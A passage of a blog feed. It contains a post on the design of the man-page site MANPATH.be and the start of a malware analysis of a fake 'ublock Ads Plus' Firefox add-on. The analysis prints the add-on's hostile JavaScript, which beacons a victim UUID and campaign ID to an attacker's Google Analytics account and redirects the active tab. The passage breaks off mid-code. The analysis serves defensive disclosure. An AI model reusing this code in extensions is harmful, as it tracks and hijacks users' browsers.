href=\"https:\/\/manpath.be\/f30\/3\/memcpy\">f30\/3\/memcpy<\/a>, permalinks and various kinds \u2026<\/p>","content":"<p>Recently, I launched <a href=\"https:\/\/manpath.be\/\">MANPATH.be<\/a> - a site for convenient <a href=\"https:\/\/en.wikipedia.org\/wiki\/Man_page\">man\npage<\/a> browsing. It provides access to the man pages of\ndifferent distributions, including <a href=\"https:\/\/en.wikipedia.org\/wiki\/Fedora_(operating_system)\">Fedora<\/a>, <a href=\"https:\/\/en.wikipedia.org\/wiki\/CentOS\">CentOS<\/a> and\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/OpenSolaris\">OpenSolaris<\/a>. The <a href=\"https:\/\/manpath.be\/about\">about page<\/a> concisely describes some\nof the sites features, e.g.  human readable links like\n<a href=\"https:\/\/manpath.be\/f30\/3\/memcpy\">f30\/3\/memcpy<\/a>, permalinks and various kinds of inter-page\nlinks. The following sections give some detail on the motivation\nbehind this project and the technical decisions in its design and\nimplementation.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#motivation\">Motivation<\/a><\/li>\n<li><a href=\"#go\">Go<\/a><\/li>\n<li><a href=\"#python\">Python<\/a><\/li>\n<li><a href=\"#postgresql\">PostgreSQL<\/a><\/li>\n<li><a href=\"#no-javascript\">No JavaScript<\/a><\/li>\n<li><a href=\"#css\">CSS<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"motivation\">Motivation<a class=\"headerlink\" href=\"#motivation\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The motivation behind this project is to solve use cases I'm\ninterested in. Mainly to look up man pages of distributions I\ndon't always have access to, quickly jump between man pages of\ndifferent distributions and versions, conveniently navigate man\npages and create exact and stable references to man pages.<\/p>\n<p>These use cases come up when developing portable software,\nworking on source code in a restricted environment and when\nwriting documents that require man page references like - say -\ntechnical Wikipedia articles, blog posts and Stackoverflow\nquestions and answers.<\/p>\n<h2 id=\"go\">Go<a class=\"headerlink\" href=\"#go\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>One reason behind implementing the HTTP manpage backend daemon in\nthe <a href=\"https:\/\/en.wikipedia.org\/wiki\/Go_(programming_language)\">Go programming language<\/a> is to use this opportunity to\nget more familiar with Go in general and with the <a href=\"https:\/\/golang.org\/pkg\/net\/http\/\">HTTP<\/a>,\n<a href=\"https:\/\/golang.org\/pkg\/html\/template\/\">template<\/a> and <a href=\"https:\/\/golang.org\/pkg\/database\/sql\/\">SQL<\/a> packages (of the Go standard\nlibrary) in particular.<\/p>\n<p>Also, some alternatives aren't necessarily that attractive. For\nexample, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Python_(programming_language)\">Python<\/a> - while being a great choice for many use\ncases - using it for a potentially heavily loaded <a href=\"https:\/\/en.wikipedia.org\/wiki\/Hypertext_Transfer_Protocol\">HTTP<\/a>\nserver is probably not the best fit.<\/p>\n<p>Although there is the fine <a href=\"http:\/\/flask.pocoo.org\/\">Flask package<\/a> for Python that\nprovides a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Microframework\">microframework<\/a> for implementing HTTP daemons, it\narguably contains too much magic which complicates some tasks.\nFlask has <a href=\"http:\/\/flask.pocoo.org\/docs\/1.0\/deploying\/\">several deployment options<\/a>, some which involve\nmiddleware components which may lead to <a href=\"https:\/\/en.wikipedia.org\/wiki\/No_Silver_Bullet\">accidental\ncomplexity<\/a>.<\/p>\n<p>On the other hand, Go has some nice features that are well suited\nfor such a daemon. For example, Go routines (and channels) allow\nfor concurrent programming beyond relatively low-level <a href=\"https:\/\/eli.thegreenplace.net\/2018\/go-hits-the-concurrency-nail-right-on-the-head\/\">threading\nand asynchronous constructs<\/a> which are also hard to combine.\nIt also helps for performance that Go slices are lightweight\nreferences (instead of objects that create copies like immutable\nPython slices), for example when using them inside a templating\npackage.  Another win for performance is that, although Go uses\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Garbage_collection_(computer_science)\">garbage collection<\/a>, Go programs are compiled into machine code,\nwhereas Python uses a simple <a href=\"https:\/\/opensource.com\/article\/18\/4\/introduction-python-bytecode\">virtual machine<\/a>.<\/p>\n<p>However, Go isn't a perfect language. Some languages corners are\narguably too low-level like - say - error handling. And there\nisn't really a culture of <a href=\"https:\/\/semver.org\/\">semantic versioning<\/a>.<\/p>\n<p>As expected, the fact that Go doesn't provide exceptions leads to\nmost functions being interspersed with some verbose and redundant\nerror handling code. <a href=\"https:\/\/en.wikipedia.org\/wiki\/Rust_(programming_language)\">Rust<\/a>, a language of similar age, also\ndoesn't have exceptions but at least <a href=\"https:\/\/doc.rust-lang.org\/stable\/book\/ch09-02-recoverable-errors-with-result.html#a-shortcut-for-propagating-errors-the--operator\">provides some means<\/a> to\neliminate redundant error checking code.<\/p>\n<p>Go also doesn't have C++ style <a href=\"https:\/\/en.wikipedia.org\/wiki\/Resource_acquisition_is_initialization\">RAII<\/a> which really simplifies\ncreating resource leaks. In contrast, although Python implements\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Reference_counting\">reference counting<\/a> it also has <a href=\"https:\/\/docs.python.org\/3.6\/reference\/compound_stmts.html#with\">with-statement context\nmanagers<\/a> which are arguably more convenient to use than the\n<a href=\"https:\/\/gobyexample.com\/defer\">Go defer mechanism<\/a>.<\/p>\n<p>In conclusion, for this concrete use case, the advantages of Go\noutweigh its disadvantages and its standard library already\ncovers many needs.<\/p>\n<h2 id=\"python\">Python<a class=\"headerlink\" href=\"#python\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The man page loader that pre-renders man pages for the\nbackend and is able to bulk import man pages directly from a\npackage repository is written in <a href=\"https:\/\/en.wikipedia.org\/wiki\/Python_(programming_language)\">Python<\/a>.<\/p>\n<p>The execution speed of Python is good enough for this task,\nespecially since the imports are batch jobs that happen at a low\nfrequency.<\/p>\n<p>On the other hand, the high-level Python allows to get the job in\nless code, e.g. when mangling strings and calling external\nprocesses. Also, the excellent <a href=\"https:\/\/docs.sqlalchemy.org\/en\/13\/core\/tutorial.html\">SQLAlchemy Core<\/a> package with\nits expressions leads to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Boilerplate_code\">boilerplate-free<\/a>, portable and\ncompact code and thus simplifies interacting with relational\ndatabases, a lot.<\/p>\n<h2 id=\"postgresql\">PostgreSQL<a class=\"headerlink\" href=\"#postgresql\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><a href=\"https:\/\/www.postgresql.org\/\">PostgreSQL (or Postgres)<\/a> is a well performing and stable\nopen-source relational database with many useful features. Its\nsupport for relatively recent additions to the <a href=\"https:\/\/modern-sql.com\/\">SQL standard is\ngenerally good and better<\/a> than what MySQL\/MariaDB or even\nOracle offers.<\/p>\n<p>For example, Postgres supports transactions for DDL statements\nwhereas Oracle just implicitly commits the current transaction on\nthe next <a href=\"https:\/\/en.wikipedia.org\/wiki\/Data_definition_language\">DDL<\/a> statement. A string of length zero is just\nthat string and not implicitly converted to NULL, like Oracle\ndoes it. In contrast to Oracle, it also supports a boolean\ndata-type. Postgres' <a href=\"https:\/\/www.postgresql.org\/docs\/11\/sql-insert.html#SQL-ON-CONFLICT\">upsert support<\/a> is <a href=\"https:\/\/speakerdeck.com\/peterg\/upsert-use-cases\">more\nversatile<\/a>, robust and useful than what Oracle and MySQL\noffer.  In contrast to MySQL, Postgres' support of aggregate\nfunctions <a href=\"https:\/\/modern-sql.com\/\">is superior<\/a>.<\/p>\n<p>Postgres also offers many useful string, regex and array functions\nlike <code>regexp_replace<\/code>, <code>regexp_split_to_array<\/code> and <code>array_remove<\/code>.<\/p>\n<p>In addition to that, Oracle isn't Open-Source, comes with\nhorrible licensing conditions and is a pain in the neck to\ninstall and maintain.<\/p>\n<p>Postgres is included in the package repositories of most Linux\ndistributions. And the Postgres project even <a href=\"https:\/\/www.postgresql.org\/download\/linux\/redhat\/\">maintains own\nrepositories<\/a> for several distributions. For example, using the\nupstream Postgres repository it's very simple to get the\ncurrently stable Postgres 11 on CentOS 7 (which provides version\n9 in its base repository).<\/p>\n<h2 id=\"no-javascript\">No JavaScript<a class=\"headerlink\" href=\"#no-javascript\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since <a href=\"https:\/\/en.wikipedia.org\/wiki\/JavaScript\">JavaScript<\/a> is a <a href=\"https:\/\/web.archive.org\/web\/20151010041903\/http:\/\/bdcampbell.net:80\/javascript\/book\/javascript_the_good_parts.pdf\">badly designed language<\/a>, it's\nnatural to strive for using it as little as possible. Also, with the\ncurrent (and even not so current) state of web standards,\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Cascading_Style_Sheets\">CSS<\/a> is often sufficient even for realizing <a href=\"https:\/\/en.wikipedia.org\/wiki\/Responsive_web_design\">adaptive\n('responsive') layouts<\/a>.<\/p>\n<p>Some established frontend frameworks (e.g. <a href=\"https:\/\/en.wikipedia.org\/wiki\/Bootstrap_(front-end_framework)\">Bootstrap<\/a>) come with\ngood design defaults and pre-defined components but also with\nmetric tons of JavaScript. Also for supporting legacy browsers.<\/p>\n<p>Besides being a security risk to include tons of third-party\nobfuscated ('minified') JavaScript (that also increase page load\ntimes) I'm simply not interested in supporting very old legacy\nbrowsers.<\/p>\n<p>Thus, the <a href=\"https:\/\/manpath.be\/\">MANPATH.be<\/a> site is completely JavaScript free.<\/p>\n<h2 id=\"css\">CSS<a class=\"headerlink\" href=\"#css\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>It turns out that for the purpose of presenting man pages in a\nweb-browser (including a responsive layout) actually very little\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Cascading_Style_Sheets\">CSS<\/a> is required (75 lines or so).<\/p>\n<p>Looking into CSS for this project, I've learned some lessons. For\nexample, that the traditional simple three-column layout\n(navigation\/main\/other) has a name and is called <a href=\"https:\/\/en.wikipedia.org\/wiki\/Holy_grail_(web_design)#Current_solutions\">The Holy Grail\nLayout<\/a>.<\/p>\n<p>Another one is that CSS not just has one mechanism but two for\nrealizing adaptive <a href=\"https:\/\/en.wikipedia.org\/wiki\/Responsive_web_design\">responsive<\/a> layouts: The <a href=\"https:\/\/en.wikipedia.org\/wiki\/CSS_grid_layout\">CSS Grid Layout\nModule<\/a> and the <a href=\"https:\/\/en.wikipedia.org\/wiki\/CSS_Flexible_Box_Layout\">CSS Flexible Box Layout Module<\/a> - also\nknown as <a href=\"https:\/\/en.wikipedia.org\/wiki\/CSS_grid_layout\">CSS Grid<\/a> and <a href=\"https:\/\/en.wikipedia.org\/wiki\/CSS_Flexible_Box_Layout\">Flexbox<\/a>. Searching the web for CSS Grid\nis sometimes complicated by the fact that also legacy CSS solutions\nare included that implement a grid without using the CSS Grid\nLayout Module. Also, a search may turn up framework specific\nsolutions that might or might not use CSS Grid, internally.<\/p>\n<p>The main difference between CSS Grid and Flexbox is often\nstated as Grid being developed for flowing elements in (up to)\ntwo dimensions while Flexbox being developed for flowing element\nalong one axis (i.e. in a row\/column). Thus, CSS Grid sounds like\nthe natural solution to the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Holy_grail_(web_design)#Current_solutions\">Holy Grail Layout<\/a> problem.<\/p>\n<p>But this isn't really accurate as it's possible to construct a\nFlexbox column layout that downgrades into rows if the screen\nis too small. And that without even using <a href=\"https:\/\/en.wikipedia.org\/wiki\/Media_queries\">CSS media queries<\/a>. In\nthat sense Flexbox is well suited for two dimensional layouts,\ntoo.<\/p>\n<p>It seems that the same responsive layout can't be implemented\nwith CSS Grid alone. Instead one has to work with CSS media\nqueries to switch between different grids or even switch between\na Grid layout and Flexbox one. At least I didn't come up with a\nGrid-only solution and all the CSS Grid examples I found online\nused CSS media queries.<\/p>\n<p>I thus implemented the responsive three column layout for\n<a href=\"https:\/\/manpath.be\/\">MANPATH.be<\/a> using <a href=\"https:\/\/en.wikipedia.org\/wiki\/CSS_Flexible_Box_Layout\">CSS Flexbox<\/a> constructs. The complexity of\nFlexbox looks well balanced and being able to avoid <a href=\"https:\/\/en.wikipedia.org\/wiki\/Media_queries\">CSS media\nqueries<\/a> reduces the complexity of the overall solution.<\/p>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"go"}},{"@attributes":{"term":"http"}},{"@attributes":{"term":"manpage"}}]},{"title":"The Anatomy of a Firefox Malware Addon","link":{"@attributes":{"href":"https:\/\/gms.tf\/the-anatomy-of-a-firefox-malware-addon.html","rel":"alternate"}},"published":"2019-03-23T10:00:00+01:00","updated":"2019-03-23T10:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2019-03-23:\/the-anatomy-of-a-firefox-malware-addon.html","summary":"<p>Some time ago, I was contacted to fix a computer running <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ubuntu\">Ubuntu<\/a>.\nBasically, after many flawless LTS distribution upgrade the last\none failed and made the graphical boot hang hard. Thus, the fix was to\nbackup the home directory, re-install a fresh Ubuntu and restore\nthe home. Color me surprised \u2026<\/p>","content":"<p>Some time ago, I was contacted to fix a computer running <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ubuntu\">Ubuntu<\/a>.\nBasically, after many flawless LTS distribution upgrade the last\none failed and made the graphical boot hang hard. Thus, the fix was to\nbackup the home directory, re-install a fresh Ubuntu and restore\nthe home. Color me surprised when I quickly checked the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Firefox\">Firefox<\/a>\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Add-on_(Mozilla)\">addons<\/a> and noticed a suspicious looking one:<\/p>\n<p><img alt=\"Firefox Malware Addon Screenshot\" src=\"https:\/\/gms.tf\/image\/ublock_ads_plus.jpg\"><\/p>\n<p>The screenshot reads:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>ublock Ads Plus\nBy Firefox Developer\nAdblocker Pro - der beste Anzeigenblocker f\u00fcr alle deutschen Seiten\n<\/code><\/pre><\/div>\n\n<p>The last part translated to English:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nv\">The<\/span><span class=\"w\"> <\/span><span class=\"nv\">best<\/span><span class=\"w\"> <\/span><span class=\"nv\">Ad<\/span><span class=\"o\">-<\/span><span class=\"nv\">Blocker<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"nv\">all<\/span><span class=\"w\"> <\/span><span class=\"nv\">German<\/span><span class=\"w\"> <\/span><span class=\"nv\">sites<\/span>\n<\/code><\/pre><\/div>\n\n<p>Clearly, everything about this is ultra suspicious. It's not just\none name, it's two names ('ublock Ads Plus' and 'Adblocker Pro').\nThe names are obviously a play on words trying to invoke\nfamiliarity with the very fine and legitimate ad-blockers <a href=\"https:\/\/en.wikipedia.org\/wiki\/UBlock_Origin\">uBlock\nOrigin<\/a> and <a href=\"https:\/\/en.wikipedia.org\/wiki\/Adblock_Plus\">Adblock Plus<\/a>. Also, as if an addon author\nwould use the utmost generic 'Firefox Developer' as author name.\nLet alone the ridiculous catch phrase.<\/p>\n<p>Searching the Web for this addon name <a href=\"https:\/\/adguard.com\/en\/blog\/over-20-000-000-of-chrome-users-are-victims-of-fake-ad-blockers\/\">turned up<\/a> some <a href=\"https:\/\/www.zdnet.com\/article\/google-cuts-fake-ad-blockers-from-chrome-store-were-you-among-20-million-fooled\/\">articles<\/a>\nabout <a href=\"https:\/\/en.wikipedia.org\/wiki\/Google_Chrome\">Chrome<\/a> <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malware\">malware<\/a> addons that use similar name\nvariations. Thus, I stored that addon for later analysis and\nwiped it from the affected machine.<\/p>\n<p>Unpacking the captured <code>adblocker@pro.org.xpi<\/code> (a.k.a. 'ublock\nAds Plus') addon zip archive reveals that it's some kind of\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/UBlock_Origin\">uBlock Origin<\/a> rip-off because most copyright headers are\nintact:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>uBlock Origin - a browser extension to block requests.\nCopyright (C) 2014-2016 Raymond Hill\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n[..]\n<\/code><\/pre><\/div>\n\n<p>Now the question is whether this rip-off is malicious or not. And if\nit is, how bad is it? Comparing it with a uBlock Origin\nrevision from late 2016 shows that it does indeed add some\nmalicious code.<\/p>\n<h2 id=\"malicious-additions\">Malicious Additions<a class=\"headerlink\" href=\"#malicious-additions\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malware\">malware<\/a> code still contains many active (or commented)\n<code>console.log()<\/code> calls - apparently, the author is a big fan of\nprintf debugging.<\/p>\n<p>In <code>js\/background.js<\/code>, firstly, a custom uninstall URL is\n<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Mozilla\/Add-ons\/WebExtensions\/API\/runtime\/setUninstallURL\">installed<\/a>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">runtime<\/span><span class=\"p\">.<\/span><span class=\"nx\">setUninstallURL<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;https:\/\/goo.gl\/forms\/zLaR0ptFbmZtcWSA2&quot;<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>Also at the top level, there is some logic to report to a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Google_Analytics\">Google\nAnalytics<\/a> account that the malware addon is still active in\nthe victim's browser, each 24 hours:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Ticker calculation...&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"k\">try<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">start<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;tickclock&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">millis<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">Date<\/span><span class=\"p\">.<\/span><span class=\"nx\">now<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"nx\">start<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">elapsed<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">Math<\/span><span class=\"p\">.<\/span><span class=\"nx\">floor<\/span><span class=\"p\">(<\/span><span class=\"nx\">millis<\/span><span class=\"o\">\/<\/span><span class=\"mf\">1000<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">elapsed<\/span><span class=\"o\">&gt;=<\/span><span class=\"mf\">86400<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">u_uuid<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;uuid&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">ccampaignId<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;campaignID&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">manifest<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">runtime<\/span><span class=\"p\">.<\/span><span class=\"nx\">getManifest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">extnName<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">manifest<\/span><span class=\"p\">.<\/span><span class=\"nx\">name<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">manifest<\/span><span class=\"p\">.<\/span><span class=\"nx\">name<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">request<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nx\">XMLHttpRequest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uri<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;v=1&amp;t=event&amp;tid=UA-93019183-1&amp;cid=&quot;<\/span>\n<span class=\"w\">                  <\/span><span class=\"o\">+<\/span><span class=\"nx\">u_uuid<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;aip=1&amp;ds=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">extnName<\/span>\n<span class=\"w\">                  <\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;ec=firefox&amp;ea=firefox_user_active&amp;el=extension_ON&amp;cm=&quot;<\/span>\n<span class=\"w\">                  <\/span><span class=\"o\">+<\/span><span class=\"nx\">ccampaignId<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;es=browsersession&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">message<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">encodeURI<\/span><span class=\"p\">(<\/span><span class=\"nx\">uri<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">open<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;POST&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;https:\/\/www.google-analytics.com\/collect&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">setRequestHeader<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;User-Agent&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">              <\/span><span class=\"s2\">&quot;Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/51.0.2704.103 Safari\/537.36&quot;<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">(<\/span><span class=\"nx\">message<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;tickclock&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nb\">Date<\/span><span class=\"p\">.<\/span><span class=\"nx\">now<\/span><span class=\"p\">());<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">catch<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">this<\/span><span class=\"p\">.<\/span><span class=\"nx\">_log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Error sending report to Google Analytics.\\n&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"nx\">e<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>(Note that I've re-indented the above and following code snippets\na bit for better readability. Also, where appropriate I've split some long\nstrings over multiple lines.)<\/p>\n<p>The main pieces of information that are sent to the attacker's\nGoogle Analytics account is the UUID and a campaign ID. The UUID\nis randomly generated once after the malware addon is installed and thus\nuniquely identifies each victim. The campaign ID is the\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/UTM_parameters\"><code>utm_campaign<\/code><\/a> part of the URL the user is currently visiting:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">redirectUrl<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;https:\/\/www.youtube.com\/&quot;<\/span><span class=\"p\">;<\/span>\n\n<span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">query<\/span><span class=\"p\">({<\/span><span class=\"nx\">currentWindow<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">active<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">},<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">[<\/span><span class=\"mf\">0<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nx\">tabs<\/span><span class=\"p\">[<\/span><span class=\"mf\">0<\/span><span class=\"p\">].<\/span><span class=\"nx\">id<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">tab<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">tabs<\/span><span class=\"p\">[<\/span><span class=\"mf\">0<\/span><span class=\"p\">];<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">currurl<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">url<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">currurl<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;utm_campaign&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">currurl<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">getUrlParameter<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;utm_campaign&#39;<\/span><span class=\"p\">,<\/span><span class=\"nx\">currurl<\/span><span class=\"p\">);<\/span><span class=\"w\">                        <\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">updating<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">update<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">id<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"nx\">url<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">redirectUrl<\/span><span class=\"p\">});<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">updating<\/span><span class=\"p\">.<\/span><span class=\"nx\">then<\/span><span 